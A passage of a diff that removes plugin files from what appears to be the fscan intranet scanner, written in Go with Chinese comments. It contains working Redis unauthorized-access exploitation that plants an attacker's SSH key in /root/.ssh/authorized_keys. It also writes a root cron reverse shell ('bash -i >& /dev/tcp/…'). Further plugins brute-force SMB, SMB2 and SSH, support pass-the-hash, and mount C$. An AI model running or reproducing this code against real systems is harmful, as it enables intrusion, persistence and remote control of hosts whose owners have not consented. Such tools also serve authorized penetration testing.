// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试利用
|
||||
err = Expoilt(realhost, conn)
|
||||
return true, err
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
|
||||
// RedisUnauth 尝试Redis未授权访问检测
|
||||
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 判断是否存在未授权访问
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
// 获取Redis配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
err = Expoilt(realhost, conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
}
|
||||
}
|
||||
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// Expoilt 尝试Redis漏洞利用
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
// 如果配置为不进行测试则直接返回
|
||||
if Common.Noredistest {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 测试目录写入权限
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
// SSH密钥写入测试
|
||||
if flagSsh {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
|
||||
// 如果指定了密钥文件则尝试写入
|
||||
if Common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入测试
|
||||
if flagCron {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
|
||||
// 如果指定了shell命令则尝试写入定时任务
|
||||
if Common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// writekey 向Redis写入SSH密钥
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
|
||||
// 设置文件目录为SSH目录
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 设置文件名为authorized_keys
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 读取并写入SSH密钥
|
||||
if strings.Contains(text, "OK") {
|
||||
// 读取密钥文件
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// writecron 向Redis写入定时任务
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
|
||||
// 首先尝试Ubuntu系统的cron路径
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
||||
if !strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
}
|
||||
|
||||
// 如果成功设置目录,继续后续操作
|
||||
if strings.Contains(text, "OK") {
|
||||
// 设置数据库文件名为root
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
if strings.Contains(text, "OK") {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return flag, "[-] 主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
// 写入反弹shell的定时任务
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
||||
scanIp, scanPort)
|
||||
_, err = conn.Write([]byte(cronCmd))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回第一个非空行
|
||||
func Readfile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
// readreply 读取Redis服务器响应
|
||||
func readreply(conn net.Conn) (string, error) {
|
||||
// 设置1秒读取超时
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
|
||||
bytes, err := io.ReadAll(conn)
|
||||
// 如果读取到内容则不返回错误
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// testwrite 测试Redis写入权限
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
// 测试SSH目录写入权限
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
|
||||
// 测试定时任务目录写入权限
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
}
|
||||
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
// getconfig 获取Redis配置信息
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
// 获取数据库文件名
|
||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库文件名
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
// 获取数据库目录
|
||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库目录
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// recoverdb 恢复Redis数据库配置
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
// 恢复数据库文件名
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 恢复数据库目录
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
-110
@@ -1,110 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SmbScan 执行SMB服务的认证扫描
|
||||
func SmbScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 如果未启用暴力破解则直接返回
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
// 遍历用户名和密码字典进行认证尝试
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 执行带超时的认证
|
||||
success, err := doWithTimeOut(info, user, pass)
|
||||
|
||||
if success && err == nil {
|
||||
// 认证成功,记录结果
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
|
||||
info.Host, info.Ports, Common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
// 认证失败,记录错误
|
||||
errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, user, pass,
|
||||
strings.ReplaceAll(err.Error(), "\n", ""))
|
||||
Common.LogError(errorMsg)
|
||||
tmperr = err
|
||||
|
||||
// 检查是否需要中断扫描
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查是否超时
|
||||
timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout
|
||||
if time.Now().Unix()-startTime > timeoutLimit {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// SmblConn 尝试建立SMB连接并进行认证
|
||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
|
||||
// 配置SMB连接选项
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: Common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
// 尝试建立SMB会话
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
|
||||
// 发送完成信号
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// doWithTimeOut 执行带超时的SMB连接认证
|
||||
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
|
||||
// 在goroutine中执行SMB连接
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
}()
|
||||
|
||||
// 等待连接结果或超时
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
return false, errors.New("[!] SMB连接超时")
|
||||
}
|
||||
}
|
||||
-224
@@ -1,224 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
|
||||
func SmbScan2(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 如果未启用暴力破解则直接返回
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasprint := false
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
// 使用哈希认证模式
|
||||
if len(Common.HashBytes) > 0 {
|
||||
return smbHashScan(info, hasprint, startTime)
|
||||
}
|
||||
|
||||
// 使用密码认证模式
|
||||
return smbPasswordScan(info, hasprint, startTime)
|
||||
}
|
||||
|
||||
// smbHashScan 使用哈希进行认证扫描
|
||||
func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, hash := range Common.HashBytes {
|
||||
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
|
||||
if printed {
|
||||
hasprint = true
|
||||
}
|
||||
|
||||
if success {
|
||||
logSuccessfulAuth(info, user, "", hash)
|
||||
return err
|
||||
}
|
||||
|
||||
logFailedAuth(info, user, "", hash, err)
|
||||
|
||||
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(Common.Hash) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// smbPasswordScan 使用密码进行认证扫描
|
||||
func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
|
||||
if printed {
|
||||
hasprint = true
|
||||
}
|
||||
|
||||
if success {
|
||||
logSuccessfulAuth(info, user, pass, []byte{})
|
||||
return err
|
||||
}
|
||||
|
||||
logFailedAuth(info, user, pass, []byte{}, err)
|
||||
|
||||
if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(Common.Hash) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Println("[+] Smb2扫描模块结束...")
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSuccessfulAuth 记录成功的认证
|
||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("Hash:%v", Common.Hash)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v", pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
// logFailedAuth 记录失败的认证
|
||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||
var errlog string
|
||||
if len(hash) > 0 {
|
||||
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
|
||||
info.Host, info.Ports, user, Common.Hash, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
}
|
||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
// shouldStopScan 检查是否应该停止扫描
|
||||
func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
|
||||
if Common.CheckErrs(err) {
|
||||
return true
|
||||
}
|
||||
|
||||
if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
|
||||
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
|
||||
time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("连接失败: %v", err), false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 配置NTLM认证
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: Common.Domain,
|
||||
}
|
||||
|
||||
// 设置认证方式(哈希或密码)
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
} else {
|
||||
initiator.Password = pass
|
||||
}
|
||||
|
||||
// 创建SMB2会话
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
session, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
|
||||
}
|
||||
defer session.Logoff()
|
||||
|
||||
// 获取共享列表
|
||||
shares, err := session.ListSharenames()
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("获取共享列表失败: %v", err), false
|
||||
}
|
||||
|
||||
// 打印共享信息(如果未打印过)
|
||||
if !hasprint {
|
||||
logShareInfo(info, user, pass, hash, shares)
|
||||
flag2 = true
|
||||
}
|
||||
|
||||
// 尝试访问C$共享以验证管理员权限
|
||||
fs, err := session.Mount("C$")
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
|
||||
}
|
||||
defer fs.Umount()
|
||||
|
||||
// 尝试读取系统文件以验证权限
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
return true, nil, flag2
|
||||
}
|
||||
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||
var result string
|
||||
|
||||
// 构建基础信息
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
// 添加认证信息
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("Hash:%v ", Common.Hash)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v ", pass)
|
||||
}
|
||||
|
||||
// 添加共享列表
|
||||
result += fmt.Sprintf("可用共享: %v", shares)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
-225
@@ -1,225 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
// 增加全局扫描超时
|
||||
scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second)
|
||||
defer scanCancel()
|
||||
|
||||
for _, user := range Common.Userdict["ssh"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 使用全局 context 创建子 context
|
||||
ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second)
|
||||
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
currentUser := user
|
||||
currentPass := pass
|
||||
|
||||
// 创建结果通道
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在 goroutine 中执行单次连接尝试
|
||||
go func() {
|
||||
success, err := SshConn(ctx, info, currentUser, currentPass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待连接结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
case <-ctx.Done():
|
||||
err = fmt.Errorf("[-] 连接超时: %v", ctx.Err())
|
||||
}
|
||||
|
||||
cancel()
|
||||
|
||||
// 记录失败信息
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, currentUser, currentPass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
|
||||
// 检查是否需要中断扫描
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查全局超时
|
||||
if scanCtx.Err() != nil {
|
||||
return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err())
|
||||
}
|
||||
|
||||
// 如果指定了SSH密钥,则不进行密码尝试
|
||||
if Common.SshKey != "" {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
// 准备认证方法
|
||||
var auth []ssh.AuthMethod
|
||||
if Common.SshKey != "" {
|
||||
pemBytes, err := ioutil.ReadFile(Common.SshKey)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
|
||||
}
|
||||
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
auth = []ssh.AuthMethod{ssh.Password(pass)}
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: auth,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
Timeout: time.Duration(Common.Timeout) * time.Second,
|
||||
}
|
||||
|
||||
// 使用带超时的 Dial
|
||||
conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if deadline, ok := ctx.Deadline(); ok {
|
||||
conn.SetDeadline(deadline)
|
||||
}
|
||||
|
||||
// 创建一个新的 context 用于 SSH 握手
|
||||
sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
defer sshCancel()
|
||||
|
||||
// 使用 channel 来控制 SSH 握手的超时
|
||||
sshDone := make(chan struct {
|
||||
client *ssh.Client
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||
if err != nil {
|
||||
sshDone <- struct {
|
||||
client *ssh.Client
|
||||
err error
|
||||
}{nil, err}
|
||||
return
|
||||
}
|
||||
client := ssh.NewClient(sshConn, chans, reqs)
|
||||
sshDone <- struct {
|
||||
client *ssh.Client
|
||||
err error
|
||||
}{client, nil}
|
||||
}()
|
||||
|
||||
// 等待 SSH 握手完成或超时
|
||||
var client *ssh.Client
|
||||
select {
|
||||
case result := <-sshDone:
|
||||
if result.err != nil {
|
||||
return false, result.err
|
||||
}
|
||||
client = result.client
|
||||
case <-sshCtx.Done():
|
||||
return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err())
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 创建会话
|
||||
session, err := client.NewSession()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
flag = true
|
||||
|
||||
if Common.Command != "" {
|
||||
// 执行命令的通道
|
||||
cmdDone := make(chan struct {
|
||||
output []byte
